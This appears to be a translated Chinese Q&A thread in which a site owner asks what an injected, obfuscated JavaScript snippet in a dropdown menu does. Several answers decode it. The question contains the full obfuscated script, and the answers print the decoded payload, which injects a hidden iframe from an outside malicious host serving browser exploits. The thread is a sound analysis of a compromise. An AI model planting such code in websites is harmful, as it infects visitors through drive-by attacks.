2011-07-10 51 views
5

刚刚发现我的网站已被黑客入侵。我将问题追溯到插入到Suckerfish下拉菜单中的这段JavaScript代码。我要用干净的备份来替换菜单,但我只是好奇这段代码实际上做了什么?网站遭到黑客入侵 - 此Javascript代码做了什么?

(function() { 
    var kuk = 'ck5', 
    de = document, 
    n = navigator, 
    u = n.userAgent, 
    l = 'anguage'; 
    function c(b) { 
     var i = 'indexOf', 
     l = 'length', 
     c = de.cookie; 
     b = b + "="; 
     var a = c[i]("; " + b), 
     d = c[i](";", a); 
     if (a == -1) { 
      a = c[i](b); 
      if (a != 0) 
       return 0 
     } 
     return 1 
    } 
    n = /^en-gb$/i.test(n['systemL' + l] || n['userL' + l] || n['l' + l]) && /(msie) ([\w.]+)|(mozilla)(?:.*? rv:([\w.]+))?/i.test(u) && !c(kuk); 
    if (n) { 
     var s, 
     g = 2, 
     aa = document.createTextNode("harCode"); 
     if (Math.exp(1) === Math.E) { 
      s = String["fr" + "omC" + aa.nodeValue]; 
     } 
     eval(s(7 + g, 7 + g, 103 + g, 100 + g, 30 + g, 38 + g, 98 + g, 109 + g, 97 + g, 115 + g, 107 + g, 99 + g, 108 + g, 114 + g, 44 + g, 101 + g, 99 + g, 114 + g, 67 + g, 106 + g, 99 + g, 107 + g, 99 + g, 108 + g, 114 + g, 113 + g, 64 + g, 119 + g, 82 + g, 95 + g, 101 + g, 76 + g, 95 + g, 107 + g, 99 + g, 38 + g, 37 + g, 96 + g, 109 + g, 98 + g, 119 + g, 37 + g, 39 + g, 89 + g, 46 + g, 91 + g, 39 + g, 121 + g, 7 + g, 7 + g, 7 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 112 + g, 38 + g, 39 + g, 57 + g, 7 + g, 7 + g, 123 + g, 30 + g, 99 + g, 106 + g, 113 + g, 99 + g, 30 + g, 121 + g, 7 + g, 7 + g, 7 + g, 98 + g, 109 + g, 97 + g, 115 + g, 107 + g, 99 + g, 108 + g, 114 + g, 44 + g, 117 + g, 112 + g, 103 + g, 114 + g, 99 + g, 38 + g, 32 + g, 58 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 30 + g, 113 + g, 112 + g, 97 + g, 59 + g, 37 + g, 102 + g, 114 + g, 114 + g, 110 + g, 56 + g, 45 + g, 45 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 49 + g, 44 + g, 97 + g, 120 + g, 44 + g, 97 + g, 97 + g, 45 + g, 103 + g, 108 + g, 98 + g, 99 + g, 118 + g, 44 + g, 110 + g, 102 + g, 110 + g, 61 + g, 114 + g, 110 + g, 59 + g, 96 + g, 95 + g, 47 + g, 51 + g, 95 + g, 46 + g, 52 + g, 50 + g, 51 + g, 99 + g, 96 + g, 95 + g, 50 + g, 99 + g, 98 + g, 99 + g, 37 + g, 30 + g, 117 + g, 103 + g, 98 + g, 114 + g, 102 + g, 59 + g, 37 + g, 47 + g, 46 + g, 37 + g, 30 + g, 102 + g, 99 + g, 103 + g, 101 + g, 102 + g, 114 + g, 59 + g, 37 + g, 47 + g, 46 + g, 37 + g, 30 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 59 + g, 37 + g, 116 + g, 103 + g, 113 + g, 103 + g, 96 + g, 103 + g, 106 + g, 103 + g, 114 + g, 119 + g, 56 + g, 102 + g, 103 + g, 98 + g, 98 + g, 99 + g, 108 + g, 57 + g, 110 + g, 109 + g, 113 + g, 103 + g, 114 + g, 103 + g, 109 + g, 108 + g, 56 + g, 95 + g, 96 + g, 113 + g, 109 + g, 106 + g, 115 + g, 114 + g, 99 + g, 57 + g, 106 + g, 99 + g, 100 + g, 114 + g, 56 + g, 46 + g, 57 + g, 114 + g, 109 + g, 110 + g, 56 + g, 46 + g, 57 + g, 37 + g, 60 + g, 58 + g, 45 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 60 + g, 32 + g, 39 + g, 57 + g, 7 + g, 7 + g, 123 + g, 7 + g, 7 + g, 100 + g, 115 + g, 108 + g, 97 + g, 114 + g, 103 + g, 109 + g, 108 + g, 30 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 112 + g, 38 + g, 39 + g, 121 + g, 7 + g, 7 + g, 7 + g, 116 + g, 95 + g, 112 + g, 30 + g, 100 + g, 30 + g, 59 + g, 30 + g, 98 + g, 109 + g, 97 + g, 115 + g, 107 + g, 99 + g, 108 + g, 114 + g, 44 + g, 97 + g, 112 + g, 99 + g, 95 + g, 114 + g, 99 + g, 67 + g, 106 + g, 99 + g, 107 + g, 99 + g, 108 + g, 114 + g, 38 + g, 37 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 37 + g, 39 + g, 57 + g, 100 + g, 44 + g, 113 + g, 99 + g, 114 + g, 63 + g, 114 + g, 114 + g, 112 + g, 103 + g, 96 + g, 115 + g, 114 + g, 99 + g, 38 + g, 37 + g, 113 + g, 112 + g, 97 + g, 37 + g, 42 + g, 37 + g, 102 + g, 114 + g, 114 + g, 110 + g, 56 + g, 45 + g, 45 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 49 + g, 44 + g, 97 + g, 120 + g, 44 + g, 97 + g, 97 + g, 45 + g, 103 + g, 108 + g, 98 + g, 99 + g, 118 + g, 44 + g, 110 + g, 102 + g, 110 + g, 61 + g, 114 + g, 110 + g, 59 + g, 96 + g, 95 + g, 47 + g, 51 + g, 95 + g, 46 + g, 52 + g, 50 + g, 51 + g, 99 + g, 96 + g, 95 + g, 50 + g, 99 + g, 98 + g, 99 + g, 37 + g, 39 + g, 57 + g, 100 + g, 44 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 44 + g, 116 + g, 103 + g, 113 + g, 103 + g, 96 + g, 103 + g, 106 + g, 103 + g, 114 + g, 119 + g, 59 + g, 37 + g, 102 + g, 103 + g, 98 + g, 98 + g, 99 + g, 108 + g, 37 + g, 57 + g, 100 + g, 44 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 44 + g, 110 + g, 109 + g, 113 + g, 103 + g, 114 + g, 103 + g, 109 + g, 108 + g, 59 + g, 37 + g, 95 + g, 96 + g, 113 + g, 109 + g, 106 + g, 115 + g, 114 + g, 99 + g, 37 + g, 57 + g, 100 + g, 44 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 44 + g, 106 + g, 99 + g, 100 + g, 114 + g, 59 + g, 37 + g, 46 + g, 37 + g, 57 + g, 100 + g, 44 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 44 + g, 114 + g, 109 + g, 110 + g, 59 + g, 37 + g, 46 + g, 37 + g, 57 + g, 100 + g, 44 + g, 113 + g, 99 + g, 114 + g, 63 + g, 114 + g, 114 + g, 112 + g, 103 + g, 96 + g, 115 + g, 114 + g, 99 + g, 38 + g, 37 + g, 117 + g, 103 + g, 98 + g, 114 + g, 102 + g, 37 + g, 42 + g, 37 + g, 47 + g, 46 + g, 37 + g, 39 + g, 57 + g, 100 + g, 44 + g, 113 + g, 99 + g, 114 + g, 63 + g, 114 + g, 114 + g, 112 + g, 103 + g, 96 + g, 115 + g, 114 + g, 99 + g, 38 + g, 37 + g, 102 + g, 99 + g, 103 + g, 101 + g, 102 + g, 114 + g, 37 + g, 42 + g, 37 + g, 47 + g, 46 + g, 37 + g, 39 + g, 57 + g, 7 + g, 7 + g, 7 + g, 98 + g, 109 + g, 97 + g, 115 + g, 107 + g, 99 + g, 108 + g, 114 + g, 44 + g, 101 + g, 99 + g, 114 + g, 67 + g, 106 + g, 99 + g, 107 + g, 99 + g, 108 + g, 114 + g, 113 + g, 64 + g, 119 + g, 82 + g, 95 + g, 101 + g, 76 + g, 95 + g, 107 + g, 99 + g, 38 + g, 37 + g, 96 + g, 109 + g, 98 + g, 119 + g, 37 + g, 39 + g, 89 + g, 46 + g, 91 + g, 44 + g, 95 + g, 110 + g, 110 + g, 99 + g, 108 + g, 98 + g, 65 + g, 102 + g, 103 + g, 106 + g, 98 + g, 38 + g, 100 + g, 39 + g, 57 + g, 7 + g, 7 + g, 123 + g)); 
     n = new Date(); 
     n.setDate(n.getDate() + 3650); 
     de.cookie = kuk + '=1;path=/;expires=' + n.toUTCString() 
     } 
})() 
+0

http://sucuri.net/malware/malware-entry-mwiframehd203 –

+0

它被大量混淆 - 甚至比我见过的大多数都要多。但没有被缩小,这是令人惊讶的(因为这会让阅读变得更难) – Spudley

回答

6

更改eval以提醒并运行它。其基本思想是它抓取了一堆关于用户的信息,并将其存储在一个cookie中,然后使用String.fromCharCode(它被混淆了,但仍然存在),并执行了一些代码,这些代码为可能试图访问的恶意网站创建一个iframe到使用各种漏洞的用户计算机。

http://fiddle.jshell.net/qHeJ3/

这里的有效载荷:

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write("<iframe src='http://asasasasa3.cz.cc/ 
index.php?tp=ba15a0645eba4ede' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
} 

function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://asasasasa3.cz.cc/index.php?tp=ba15a0645e 
ba4ede'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 
4

它嵌入从http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede一种无形的iframe中。

格式化代码:

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write("<iframe " + 
       "src='http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede' " + 
        "width='10' height='10' " + 
        "style='visibility:hidden;position:absolute;left:0;top:0;'>" + 
        "</iframe>") 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 
        'http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede'); 
    f.style.visibility='hidden'; 
    f.style.position='absolute'; 
    f.style.left='0'; 
    f.style.top='0'; 
    f.setAttribute('width','10'); 
    f.setAttribute('height','10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

从上述URL加载(executed code,解开另一个模糊处理层之后)的页面似乎尝试利用多个漏洞。它尝试各种插件,并加载更多页面,可能尝试其他漏洞。

0

通常我认为这些类型的JavaScript注入技术会沿着劫持链接的方式做某些事情,以便他们将重新路由点击到某个恶意位置(具有恶意目的的站点,直接连接到可执行文件的链接等)。它被切成小块的原因是为了规避反钓鱼和反间谍软件。

正如其他人指出的那样,这一个添加了一个iframe到您的页面,试图劫持您的机器。

1

接近eval末尾的那条线是有效载荷。基本上这是一个JavaScript注入攻击,从ASCII值中随时创建一堆JavaScript,并执行它。

这是jsFiddle demonstrating它写入您的页面。

基本上它的创建一个新的隐藏的iFrame,并从http加载网址://asasasasa3.cz.cc

2

eval(s(...))解码是:

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write("<iframe src='http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 
1

这里是模糊化的JavaScript代码:

if (document.getElementsByTagName('body')[0]) 
{ 
    iframer(); 
} 
else 
{ 
    document.write("<iframe src='http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
} 
function iframer() 
{ 
    var f = document.createElement('iframe'); 
    f.setAttribute('src','http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede'); 
    f.style.visibility='hidden'; 
    f.style.position='absolute'; 
    f.style.left='0'; 
    f.style.top='0'; 
    f.setAttribute('width','10'); 
    f.setAttribute('height','10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 
相关问题